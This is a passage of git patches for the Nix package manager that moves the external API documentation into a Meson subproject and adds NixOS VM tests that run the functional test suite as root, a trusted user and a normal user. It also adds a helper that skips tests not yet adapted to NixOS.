pkgs.nix-internal-api-docs.nativeBuildInputs + ++ pkgs.nix-external-api-docs.nativeBuildInputs ++ [ modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index 293dee5cd..abd44efef 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -128,11 +128,7 @@ in internal-api-docs = nixpkgsFor.x86_64-linux.native.nix-internal-api-docs; # API docs for Nix's C bindings. - external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { - inherit fileset; - doBuild = false; - enableExternalAPIDocs = true; - }; + external-api-docs = nixpkgsFor.x86_64-linux.native.nix-external-api-docs; # System tests. tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor self; } // { diff --git a/meson.build b/meson.build index ebad238b1..e67fd4a7a 100644 --- a/meson.build +++ b/meson.build @@ -11,3 +11,4 @@ subproject('libstore') subproject('libfetchers') subproject('perl') subproject('internal-api-docs') +subproject('external-api-docs') diff --git a/package.nix b/package.nix index 64096c7aa..f414b9a73 100644 --- a/package.nix +++ b/package.nix @@ -20,7 +20,6 @@ , git , gtest , jq -, doxygen , libarchive , libcpuid , libgit2 @@ -53,8 +52,7 @@ , versionSuffix ? "" , officialRelease ? false -# Whether to build Nix. Useful to skip for tasks like (a) just -# generating API docs or (b) testing existing pre-built versions of Nix +# Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix , doBuild ? true # Run the unit tests as part of the build. See `installUnitTests` for an @@ -93,10 +91,6 @@ # - readline , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" -# Whether to build the external API docs, can be done separately from -# everything else. -, enableExternalAPIDocs ? forDevShell - # Whether to install unit tests. This is useful when cross compiling # since we cannot run them natively during the build, but can do so # later. @@ -184,13 +178,6 @@ in { ./scripts/local.mk ] ++ lib.optionals buildUnitTests [ ./doc/manual - ] ++ lib.optionals enableExternalAPIDocs [ - ./doc/external-api - ] ++ lib.optionals enableExternalAPIDocs [ - # Source might not be compiled, but still must be available - # for Doxygen to gather comments. - (fileset.difference ./src ./src/perl) - ./tests/unit ] ++ lib.optionals buildUnitTests [ ./tests/unit ] ++ lib.optionals doInstallCheck [ @@ -204,7 +191,7 @@ in { ++ lib.optional doBuild "dev" # If we are doing just build or just docs, the one thing will use # "out". We only need additional outputs if we are doing both. - ++ lib.optional (doBuild && (enableManual || enableExternalAPIDocs)) "doc" + ++ lib.optional (doBuild && enableManual) "doc" ++ lib.optional installUnitTests "check" ++ lib.optional doCheck "testresults" ; @@ -228,7 +215,6 @@ in { ] ++ lib.optionals (doInstallCheck || enableManual) [ jq # Also for custom mdBook preprocessor. ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux - ++ lib.optional enableExternalAPIDocs doxygen ; buildInputs = lib.optionals doBuild [ @@ -291,7 +277,6 @@ in { (lib.enableFeature doBuild "build") (lib.enableFeature buildUnitTests "unit-tests") (lib.enableFeature doInstallCheck "functional-tests") - (lib.enableFeature enableExternalAPIDocs "external-api-docs") (lib.enableFeature enableManual "doc-gen") (lib.enableFeature enableGC "gc") (lib.enableFeature enableMarkdown "markdown") @@ -319,8 +304,7 @@ in { mkdir $testresults ''; - installTargets = lib.optional doBuild "install" - ++ lib.optional enableExternalAPIDocs "external-api-html"; + installTargets = lib.optional doBuild "install"; installFlags = "sysconfdir=$(out)/etc"; @@ -344,9 +328,6 @@ in { ) + lib.optionalString enableManual '' mkdir -p ''${!outputDoc}/nix-support echo "doc manual ''${!outputDoc}/share/doc/nix/manual" >> ''${!outputDoc}/nix-support/hydra-build-products - '' + lib.optionalString enableExternalAPIDocs '' - mkdir -p ''${!outputDoc}/nix-support - echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products ''; # So the check output gets links for DLLs in the out output. diff --git a/doc/external-api/.gitignore b/src/external-api-docs/.gitignore similarity index 100% rename from doc/external-api/.gitignore rename to src/external-api-docs/.gitignore diff --git a/src/external-api-docs/.version b/src/external-api-docs/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/external-api-docs/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/doc/external-api/README.md b/src/external-api-docs/README.md similarity index 100% rename from doc/external-api/README.md rename to src/external-api-docs/README.md diff --git a/doc/external-api/doxygen.cfg.in b/src/external-api-docs/doxygen.cfg.in similarity index 91% rename from doc/external-api/doxygen.cfg.in rename to src/external-api-docs/doxygen.cfg.in index cd8b4989b..1be71d895 100644 --- a/doc/external-api/doxygen.cfg.in +++ b/src/external-api-docs/doxygen.cfg.in @@ -12,7 +12,9 @@ PROJECT_NAME = "Nix" # could be handy for archiving the generated documentation or if some version # control system is used. -PROJECT_NUMBER = @PACKAGE_VERSION@ +PROJECT_NUMBER = @PROJECT_NUMBER@ + +OUTPUT_DIRECTORY = @OUTPUT_DIRECTORY@ # Using the PROJECT_BRIEF tag one can provide an optional one line description # for a project that appears at the top of each page and should give viewer a @@ -36,10 +38,10 @@ GENERATE_LATEX = NO # so they can expand variables despite configure variables. INPUT = \ - src/libutil-c \ - src/libexpr-c \ - src/libstore-c \ - doc/external-api/README.md + @src@/src/libutil-c \ + @src@/src/libexpr-c \ + @src@/src/libstore-c \ + @src@/doc/external-api/README.md FILE_PATTERNS = nix_api_*.h *.md @@ -49,7 +51,6 @@ FILE_PATTERNS = nix_api_*.h *.md # RECURSIVE has no effect here. # This tag requires that the tag SEARCH_INCLUDES is set to YES. -INCLUDE_PATH = @RAPIDCHECK_HEADERS@ EXCLUDE_PATTERNS = *_internal.h GENERATE_TREEVIEW = YES OPTIMIZE_OUTPUT_FOR_C = YES diff --git a/src/external-api-docs/meson.build b/src/external-api-docs/meson.build new file mode 100644 index 000000000..62474ffe4 --- /dev/null +++ b/src/external-api-docs/meson.build @@ -0,0 +1,31 @@ +project('nix-external-api-docs', + version : files('.version'), + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +fs = import('fs') + +doxygen_cfg = configure_file( + input : 'doxygen.cfg.in', + output : 'doxygen.cfg', + configuration : { + 'PROJECT_NUMBER': meson.project_version(), + 'OUTPUT_DIRECTORY' : meson.current_build_dir(), + 'src' : fs.parent(fs.parent(meson.project_source_root())), + }, +) + +doxygen = find_program('doxygen', native : true, required : true) + +custom_target( + 'external-api-docs', + command : [ doxygen , doxygen_cfg ], + input : [ + doxygen_cfg, + ], + output : 'html', + install : true, + install_dir : get_option('datadir') / 'doc/nix/external-api', + build_always_stale : true, +) diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix new file mode 100644 index 000000000..aa5cd49eb --- /dev/null +++ b/src/external-api-docs/package.nix @@ -0,0 +1,65 @@ +{ lib +, stdenv +, releaseTools +, fileset + +, meson +, ninja +, doxygen + +# Configuration Options + +, versionSuffix ? "" +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "nix-external-api-docs"; + version = lib.fileContents ./.version + versionSuffix; + + src = fileset.toSource { + root = ../..; + fileset = + let + cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "h"); + in + fileset.unions [ + ./meson.build + ./doxygen.cfg.in + ./README.md + # Source is not compiled, but still must be available for Doxygen + # to gather comments. + (cpp ../libexpr-c) + (cpp ../libstore-c) + (cpp ../libutil-c) + ]; + }; + + nativeBuildInputs = [ + meson + ninja + doxygen + ]; + + postUnpack = '' + sourceRoot=$sourceRoot/src/external-api-docs + ''; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${finalAttrs.version} > .version + ''; + + postInstall = '' + mkdir -p ''${!outputDoc}/nix-support + echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products + ''; + + enableParallelBuilding = true; + + strictDeps = true; + + meta = { + platforms = lib.platforms.all; + }; +}) diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix index bb20a68d3..b5f1b0da1 100644 --- a/src/internal-api-docs/package.nix +++ b/src/internal-api-docs/package.nix @@ -46,6 +46,11 @@ stdenv.mkDerivation (finalAttrs: { echo ${finalAttrs.version} > .version ''; + postInstall = '' + mkdir -p ''${!outputDoc}/nix-support + echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products + ''; + enableParallelBuilding = true; strictDeps = true; From dc720f89f2689ddfb4c1e0d0ea0d442b6be6c006 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 12:22:42 +0200 Subject: [PATCH 0849/1251] flake.nix: Factor pkgs.nix_noTests out of buildNoTests This is useful when iterating on the functional tests when trying to run them in a VM test, for example. --- flake.nix | 6 ++++++ maintainers/hydra.nix | 8 +------- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/flake.nix b/flake.nix index 4e7363cd6..7e7148afe 100644 --- a/flake.nix +++ b/flake.nix @@ -227,6 +227,12 @@ ; }; + nix_noTests = final.nix.override { + doCheck = false; + doInstallCheck = false; + installUnitTests = false; + }; + # See https://github.com/NixOS/nixpkgs/pull/214409 # Remove when fixed in this flake's nixpkgs pre-commit = diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index abd44efef..e21145f37 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -58,13 +58,7 @@ in self.packages.${system}.nix.override { enableGC = false; } ); - buildNoTests = forAllSystems (system: - self.packages.${system}.nix.override { - doCheck = false; - doInstallCheck = false; - installUnitTests = false; - } - ); + buildNoTests = forAllSystems (system: nixpkgsFor.${system}.native.nix_noTests); # Toggles some settings for better coverage. Windows needs these # library combinations, and Debian build Nix with GNU readline too. From 439022c5acfce4284c902bd6ac59575902c2c15c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 12:13:07 +0200 Subject: [PATCH 0850/1251] tests: Add hydraJobs.tests.functional_* --- .../build-remote-input-addressed.sh | 2 +- tests/functional/common/init.sh | 27 +++++++ tests/functional/common/subst-vars.sh.in | 7 +- tests/functional/common/vars-and-functions.sh | 81 ++++++++++++++----- tests/functional/impure-env.sh | 4 +- .../functional/local-overlay-store/common.sh | 2 +- tests/functional/post-hook.sh | 2 +- tests/nixos/default.nix | 7 ++ tests/nixos/functional/as-root.nix | 12 +++ tests/nixos/functional/as-trusted-user.nix | 18 +++++ tests/nixos/functional/as-user.nix | 16 ++++ tests/nixos/functional/common.nix | 76 +++++++++++++++++ tests/nixos/functional/quick-build.nix | 47 +++++++++++ 13 files changed, 273 insertions(+), 28 deletions(-) create mode 100644 tests/nixos/functional/as-root.nix create mode 100644 tests/nixos/functional/as-trusted-user.nix create mode 100644 tests/nixos/functional/as-user.nix create mode 100644 tests/nixos/functional/common.nix create mode 100644 tests/nixos/functional/quick-build.nix diff --git a/tests/functional/build-remote-input-addressed.sh b/tests/functional/build-remote-input-addressed.sh index 986692dbc..11199a408 100755 --- a/tests/functional/build-remote-input-addressed.sh +++ b/tests/functional/build-remote-input-addressed.sh @@ -23,7 +23,7 @@ EOF chmod +x "$TEST_ROOT/post-build-hook.sh" rm -f "$TEST_ROOT/post-hook-counter" - echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> "$NIX_CONF_DIR/nix.conf" + echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> "$test_nix_conf" } registerBuildHook diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index 4f2a393af..19cef5af9 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -1,5 +1,30 @@ # shellcheck shell=bash +# for shellcheck +: "${test_nix_conf_dir?}" "${test_nix_conf?}" + +if isTestOnNixOS; then + + mkdir -p "$test_nix_conf_dir" "$TEST_HOME" + + export NIX_USER_CONF_FILES="$test_nix_conf_dir/nix.conf" + mkdir -p "$test_nix_conf_dir" "$TEST_HOME" + ! test -e "$test_nix_conf" + cat > "$test_nix_conf_dir/nix.conf" <&2 + exit 1 +} + set +x commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")" @@ -15,27 +24,35 @@ source "$commonDir/subst-vars.sh" : "${PATH?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}" export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default/tests\/functional//} -export NIX_STORE_DIR -if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then - # Maybe the build directory is symlinked. - export NIX_IGNORE_SYMLINK_STORE=1 - NIX_STORE_DIR=$TEST_ROOT/store -fi -export NIX_LOCALSTATE_DIR=$TEST_ROOT/var -export NIX_LOG_DIR=$TEST_ROOT/var/log/nix -export NIX_STATE_DIR=$TEST_ROOT/var/nix -export NIX_CONF_DIR=$TEST_ROOT/etc -export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/dSocket -unset NIX_USER_CONF_FILES -export _NIX_TEST_SHARED=$TEST_ROOT/shared -if [[ -n $NIX_STORE ]]; then - export _NIX_TEST_NO_SANDBOX=1 -fi -export _NIX_IN_TEST=$TEST_ROOT/shared -export _NIX_TEST_NO_LSOF=1 -export NIX_REMOTE=${NIX_REMOTE_-} -unset NIX_PATH +test_nix_conf_dir=$TEST_ROOT/etc +test_nix_conf=$test_nix_conf_dir/nix.conf + export TEST_HOME=$TEST_ROOT/test-home + +if ! isTestOnNixOS; then + export NIX_STORE_DIR + if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then + # Maybe the build directory is symlinked. + export NIX_IGNORE_SYMLINK_STORE=1 + NIX_STORE_DIR=$TEST_ROOT/store + fi + export NIX_LOCALSTATE_DIR=$TEST_ROOT/var + export NIX_LOG_DIR=$TEST_ROOT/var/log/nix + export NIX_STATE_DIR=$TEST_ROOT/var/nix + export NIX_CONF_DIR=$test_nix_conf_dir + export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/dSocket + unset NIX_USER_CONF_FILES + export _NIX_TEST_SHARED=$TEST_ROOT/shared + if [[ -n $NIX_STORE ]]; then + export _NIX_TEST_NO_SANDBOX=1 + fi + export _NIX_IN_TEST=$TEST_ROOT/shared + export _NIX_TEST_NO_LSOF=1 + export NIX_REMOTE=${NIX_REMOTE_-} + +fi # ! isTestOnNixOS + +unset NIX_PATH export HOME=$TEST_HOME unset XDG_STATE_HOME unset XDG_DATA_HOME @@ -66,6 +83,10 @@ clearProfiles() { } clearStore() { + if isTestOnNixOS; then + die "clearStore: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + echo "clearing store..." chmod -R +w "$NIX_STORE_DIR" rm -rf "$NIX_STORE_DIR" @@ -84,6 +105,10 @@ clearCacheCache() { } startDaemon() { + if isTestOnNixOS; then + die "startDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + # Don’t start the daemon twice, as this would just make it loop indefinitely if [[ "${_NIX_TEST_DAEMON_PID-}" != '' ]]; then return @@ -110,6 +135,10 @@ startDaemon() { } killDaemon() { + if isTestOnNixOS; then + die "killDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + # Don’t fail trying to stop a non-existant daemon twice if [[ "${_NIX_TEST_DAEMON_PID-}" == '' ]]; then return @@ -130,6 +159,10 @@ killDaemon() { } restartDaemon() { + if isTestOnNixOS; then + die "restartDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + fi + [[ -z "${_NIX_TEST_DAEMON_PID:-}" ]] && return 0 killDaemon @@ -152,6 +185,12 @@ skipTest () { exit 99 } +TODO_NixOS() { + if isTestOnNixOS; then + skipTest "This test has not been adapted for NixOS yet" + fi +} + requireDaemonNewerThan () { isDaemonNewer "$1" || skipTest "Daemon is too old" } @@ -234,7 +273,7 @@ buggyNeedLocalStore() { enableFeatures() { local features="$1" - sed -i 's/experimental-features .*/& '"$features"'/' "$NIX_CONF_DIR"/nix.conf + sed -i 's/experimental-features .*/& '"$features"'/' "$test_nix_conf_dir"/nix.conf } set -x diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh index 3c7df169e..e65c78b00 100755 --- a/tests/functional/impure-env.sh +++ b/tests/functional/impure-env.sh @@ -20,13 +20,13 @@ startDaemon varTest env_name value --impure-env env_name=value -echo 'impure-env = set_in_config=config_value' >> "$NIX_CONF_DIR/nix.conf" +echo 'impure-env = set_in_config=config_value' >> "$test_nix_conf" set_in_config=daemon_value restartDaemon varTest set_in_config config_value varTest set_in_config client_value --impure-env set_in_config=client_value -sed -i -e '/^trusted-users =/d' "$NIX_CONF_DIR/nix.conf" +sed -i -e '/^trusted-users =/d' "$test_nix_conf" env_name=daemon_value restartDaemon diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh index 0e6097861..bbe84847a 100644 --- a/tests/functional/local-overlay-store/common.sh +++ b/tests/functional/local-overlay-store/common.sh @@ -31,7 +31,7 @@ requireEnvironment () { } addConfig () { - echo "$1" >> "$NIX_CONF_DIR/nix.conf" + echo "$1" >> "$test_nix_conf" } setupConfig () { diff --git a/tests/functional/post-hook.sh b/tests/functional/post-hook.sh index c0b1ab3aa..7540d1045 100755 --- a/tests/functional/post-hook.sh +++ b/tests/functional/post-hook.sh @@ -7,7 +7,7 @@ clearStore rm -f $TEST_ROOT/result export REMOTE_STORE=file:$TEST_ROOT/remote_store -echo 'require-sigs = false' >> $NIX_CONF_DIR/nix.conf +echo 'require-sigs = false' >> $test_nix_conf restartDaemon diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 710f8a273..2ab00b336 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -132,4 +132,11 @@ in ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix; + + functional_user = runNixOSTestFor "x86_64-linux" ./functional/as-user.nix; + + functional_trusted = runNixOSTestFor "x86_64-linux" ./functional/as-trusted-user.nix; + + functional_root = runNixOSTestFor "x86_64-linux" ./functional/as-root.nix; + } diff --git a/tests/nixos/functional/as-root.nix b/tests/nixos/functional/as-root.nix new file mode 100644 index 000000000..96be3d593 --- /dev/null +++ b/tests/nixos/functional/as-root.nix @@ -0,0 +1,12 @@ +{ + name = "functional-tests-on-nixos_root"; + + imports = [ ./common.nix ]; + + testScript = '' + machine.wait_for_unit("multi-user.target") + machine.succeed(""" + run-test-suite >&2 + """) + ''; +} diff --git a/tests/nixos/functional/as-trusted-user.nix b/tests/nixos/functional/as-trusted-user.nix new file mode 100644 index 000000000..d6f825697 --- /dev/null +++ b/tests/nixos/functional/as-trusted-user.nix @@ -0,0 +1,18 @@ +{ + name = "functional-tests-on-nixos_trusted-user"; + + imports = [ ./common.nix ]; + + nodes.machine = { + users.users.alice = { isNormalUser = true; }; + nix.settings.trusted-users = [ "alice" ]; + }; + + testScript = '' + machine.wait_for_unit("multi-user.target") + machine.succeed(""" + export TEST_TRUSTED_USER=1 + su --login --command "run-test-suite" alice >&2 + """) + ''; +} \ No newline at end of file diff --git a/tests/nixos/functional/as-user.nix b/tests/nixos/functional/as-user.nix new file mode 100644 index 000000000..1443f6e6c --- /dev/null +++ b/tests/nixos/functional/as-user.nix @@ -0,0 +1,16 @@ +{ + name = "functional-tests-on-nixos_user"; + + imports = [ ./common.nix ]; + + nodes.machine = { + users.users.alice = { isNormalUser = true; }; + }; + + testScript = '' + machine.wait_for_unit("multi-user.target") + machine.succeed(""" + su --login --command "run-test-suite" alice >&2 + """) + ''; +} diff --git a/tests/nixos/functional/common.nix b/tests/nixos/functional/common.nix new file mode 100644 index 000000000..493791a7b --- /dev/null +++ b/tests/nixos/functional/common.nix @@ -0,0 +1,76 @@ +{ lib, ... }: + +let + # FIXME (roberth) reference issue + inputDerivation = pkg: (pkg.overrideAttrs (o: { + disallowedReferences = [ ]; + })).inputDerivation; + +in +{ + imports = [ + # Add the quickBuild attribute to the check package + ./quick-build.nix + ]; + + # We rarely change the script in a way that benefits from type checking, so + # we skip it to save time. + skipTypeCheck = true; + + nodes.machine = { config, pkgs, ... }: { + + virtualisation.writableStore = true; + system.extraDependencies = [ + (inputDerivation config.nix.package) + ]; + + nix.settings.substituters = lib.mkForce []; + + environment.systemPackages = let + run-test-suite = pkgs.writeShellApplication { + name = "run-test-suite"; + runtimeInputs = [ pkgs.gnumake pkgs.jq pkgs.git ]; + text = '' + set -x + cat /proc/sys/fs/file-max + ulimit -Hn + ulimit -Sn + cd ~ + cp -r ${pkgs.nix.overrideAttrs (o: { + name = "nix-configured-source"; + outputs = [ "out" ]; + separateDebugInfo = false; + disallowedReferences = [ ]; + buildPhase = ":"; + checkPhase = ":"; + installPhase = '' + cp -r . $out + ''; + installCheckPhase = ":"; + fixupPhase = ":"; + doInstallCheck = true; + })} nix + chmod -R +w nix + cd nix + + # Tests we don't need + echo >tests/functional/plugins/local.mk + sed -i tests/functional/local.mk \ + -e 's!nix_tests += plugins\.sh!!' \ + -e 's!nix_tests += test-libstoreconsumer\.sh!!' \ + ; + + export isTestOnNixOS=1 + export version=${config.nix.package.version} + export NIX_REMOTE_=daemon + export NIX_REMOTE=daemon + export NIX_STORE=${builtins.storeDir} + make -j1 installcheck --keep-going + ''; + }; + in [ + run-test-suite + pkgs.git + ]; + }; +} diff --git a/tests/nixos/functional/quick-build.nix b/tests/nixos/functional/quick-build.nix new file mode 100644 index 000000000..10f4215e5 --- /dev/null +++ b/tests/nixos/functional/quick-build.nix @@ -0,0 +1,47 @@ +test@{ lib, extendModules, ... }: +let + inherit (lib) mkOption types; +in +{ + options = { + quickBuild = mkOption { + description = '' + Whether to perform a "quick" build of the Nix package to test. + + When iterating on the functional tests, it's recommended to "set" this + to `true`, so that changes to the functional tests don't require any + recompilation of the package. + You can do so by buildin the `.quickBuild` attribute on the check package, + e.g: + ```console + nix build .#hydraJobs.functional_user.quickBuild + ``` + + We don't enable this by default to avoid the mostly unnecessary work of + performing an additional build of the package in cases where we build + the package normally anyway, such as in our pre-merge CI. + ''; + type = types.bool; + default = false; + }; + }; + + config = { + passthru.quickBuild = + let withQuickBuild = extendModules { modules = [{ quickBuild = true; }]; }; + in withQuickBuild.config.test; + + defaults = { pkgs, ... }: { + config = lib.mkIf test.config.quickBuild { + nix.package = pkgs.nix_noTests; + + system.forbiddenDependenciesRegexes = [ + # This would indicate that the quickBuild feature is broken. + # It could happen if NixOS has a dependency on pkgs.nix instead of + # config.nix.package somewhere. + (builtins.unsafeDiscardStringContext pkgs.nix.outPath) + ]; + }; + }; + }; +} \ No newline at end of file From 211aec473e8dfe9782c34b40a72db8ae6e88df99 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 13:02:04 +0200 Subject: [PATCH 0851/1251] tests/functional/timeout.sh: Find missing test case This reproduces an instance of https://github.com/NixOS/nix/issues/4813 --- tests/functional/timeout.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/functional/timeout.sh b/tests/functional/timeout.sh index 441c83b0e..f42354538 100755 --- a/tests/functional/timeout.sh +++ b/tests/functional/timeout.sh @@ -11,6 +11,10 @@ messages=$(nix-build -Q timeout.nix -A infiniteLoop --timeout 2 2>&1) && status= if [ $status -ne 101 ]; then echo "error: 'nix-store' exited with '$status'; should have exited 101" + + # FIXME: https://github.com/NixOS/nix/issues/4813 + skipTest "Do not block CI until fixed" + exit 1 fi From 8557d79650e8097a73a809583405a94ebaf0a0db Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 12:51:46 +0200 Subject: [PATCH 0852/1251] tests/functional: Skip tests that don't work in NixOS environment yet --- tests/functional/add.sh | 2 ++ tests/functional/binary-cache-build-remote.sh | 2 ++ tests/functional/binary-cache.sh | 2 ++ tests/functional/brotli.sh | 2 ++ tests/functional/build-delete.sh | 2 ++ tests/functional/build-dry.sh | 2 ++ tests/functional/build-remote-trustless-should-fail-0.sh | 1 + tests/functional/build-remote-trustless-should-pass-2.sh | 2 ++ tests/functional/build-remote-trustless-should-pass-3.sh | 1 + tests/functional/build.sh | 2 ++ tests/functional/ca/common.sh | 2 ++ tests/functional/case-hack.sh | 2 ++ tests/functional/check-refs.sh | 2 ++ tests/functional/check-reqs.sh | 2 ++ tests/functional/check.sh | 4 ++++ tests/functional/chroot-store.sh | 2 ++ tests/functional/compression-levels.sh | 2 ++ tests/functional/config.sh | 2 ++ tests/functional/db-migration.sh | 2 ++ tests/functional/debugger.sh | 2 ++ tests/functional/dependencies.sh | 2 ++ tests/functional/dump-db.sh | 2 ++ tests/functional/dyn-drv/common.sh | 2 ++ tests/functional/eval-store.sh | 2 ++ tests/functional/eval.sh | 2 ++ tests/functional/export-graph.sh | 2 ++ tests/functional/export.sh | 2 ++ tests/functional/fetchClosure.sh | 2 ++ tests/functional/fetchGit.sh | 2 ++ tests/functional/fetchGitRefs.sh | 2 ++ tests/functional/fetchGitSubmodules.sh | 2 ++ tests/functional/fetchGitVerification.sh | 2 ++ tests/functional/fetchMercurial.sh | 2 ++ tests/functional/fetchTree-file.sh | 2 ++ tests/functional/fetchurl.sh | 2 ++ tests/functional/fixed.sh | 2 ++ tests/functional/flakes/config.sh | 1 + tests/functional/flakes/develop.sh | 2 ++ tests/functional/flakes/flake-in-submodule.sh | 2 ++ tests/functional/flakes/flakes.sh | 2 ++ tests/functional/flakes/run.sh | 2 ++ tests/functional/flakes/search-root.sh | 2 ++ tests/functional/fmt.sh | 2 ++ tests/functional/gc-auto.sh | 2 ++ tests/functional/gc-concurrent.sh | 2 ++ tests/functional/gc-non-blocking.sh | 2 ++ tests/functional/gc-runtime.sh | 2 ++ tests/functional/gc.sh | 2 ++ tests/functional/git-hashing/common.sh | 2 ++ tests/functional/help.sh | 2 ++ tests/functional/import-derivation.sh | 2 ++ tests/functional/impure-derivations.sh | 2 ++ tests/functional/impure-env.sh | 2 ++ tests/functional/linux-sandbox.sh | 2 ++ tests/functional/local-overlay-store/bad-uris.sh | 2 ++ tests/functional/local-overlay-store/common.sh | 2 ++ tests/functional/logging.sh | 2 ++ tests/functional/multiple-outputs.sh | 2 ++ tests/functional/nar-access.sh | 2 ++ tests/functional/nested-sandboxing.sh | 2 ++ tests/functional/nix-build.sh | 2 ++ tests/functional/nix-collect-garbage-d.sh | 2 ++ tests/functional/nix-copy-ssh-common.sh | 2 ++ tests/functional/nix-copy-ssh-ng.sh | 2 ++ tests/functional/nix-profile.sh | 2 ++ tests/functional/nix-shell.sh | 2 ++ tests/functional/optimise-store.sh | 2 ++ tests/functional/output-normalization.sh | 1 + tests/functional/parallel.sh | 2 ++ tests/functional/pass-as-file.sh | 2 ++ tests/functional/placeholders.sh | 2 ++ tests/functional/post-hook.sh | 2 ++ tests/functional/pure-eval.sh | 2 ++ tests/functional/read-only-store.sh | 2 ++ tests/functional/readfile-context.sh | 2 ++ tests/functional/recursive.sh | 2 ++ tests/functional/referrers.sh | 2 ++ tests/functional/remote-store.sh | 2 ++ tests/functional/repair.sh | 2 ++ tests/functional/repl.sh | 2 ++ tests/functional/restricted.sh | 2 ++ tests/functional/search.sh | 2 ++ tests/functional/secure-drv-outputs.sh | 2 ++ tests/functional/selfref-gc.sh | 2 ++ tests/functional/shell.sh | 2 ++ tests/functional/signing.sh | 2 ++ tests/functional/simple.sh | 2 ++ tests/functional/store-info.sh | 2 ++ tests/functional/structured-attrs.sh | 2 ++ tests/functional/suggestions.sh | 2 ++ tests/functional/supplementary-groups.sh | 2 ++ tests/functional/tarball.sh | 2 ++ tests/functional/user-envs-migration.sh | 2 ++ tests/functional/user-envs-test-case.sh | 2 ++ tests/functional/why-depends.sh | 2 ++ tests/functional/zstd.sh | 2 ++ 96 files changed, 190 insertions(+) diff --git a/tests/functional/add.sh b/tests/functional/add.sh index a6cf88e1a..328b14831 100755 --- a/tests/functional/add.sh +++ b/tests/functional/add.sh @@ -31,6 +31,8 @@ test "$hash1" = "sha256:$hash2" #### New style commands +TODO_NixOS + clearStore ( diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh index 4edda85b6..17e8bdcc1 100755 --- a/tests/functional/binary-cache-build-remote.sh +++ b/tests/functional/binary-cache-build-remote.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore clearCacheCache diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh index 5ef6d89d4..6a177b657 100755 --- a/tests/functional/binary-cache.sh +++ b/tests/functional/binary-cache.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + needLocalStore "'--no-require-sigs' can’t be used with the daemon" # We can produce drvs directly into the binary cache diff --git a/tests/functional/brotli.sh b/tests/functional/brotli.sh index 672e771c2..327eab4a5 100755 --- a/tests/functional/brotli.sh +++ b/tests/functional/brotli.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore clearCache diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh index 59cf95bd2..2ebf1fd3d 100755 --- a/tests/functional/build-delete.sh +++ b/tests/functional/build-delete.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore # https://github.com/NixOS/nix/issues/6572 diff --git a/tests/functional/build-dry.sh b/tests/functional/build-dry.sh index dca5888a6..cff0f9a49 100755 --- a/tests/functional/build-dry.sh +++ b/tests/functional/build-dry.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + ################################################### # Check that --dry-run isn't confused with read-only mode # https://github.com/NixOS/nix/issues/1795 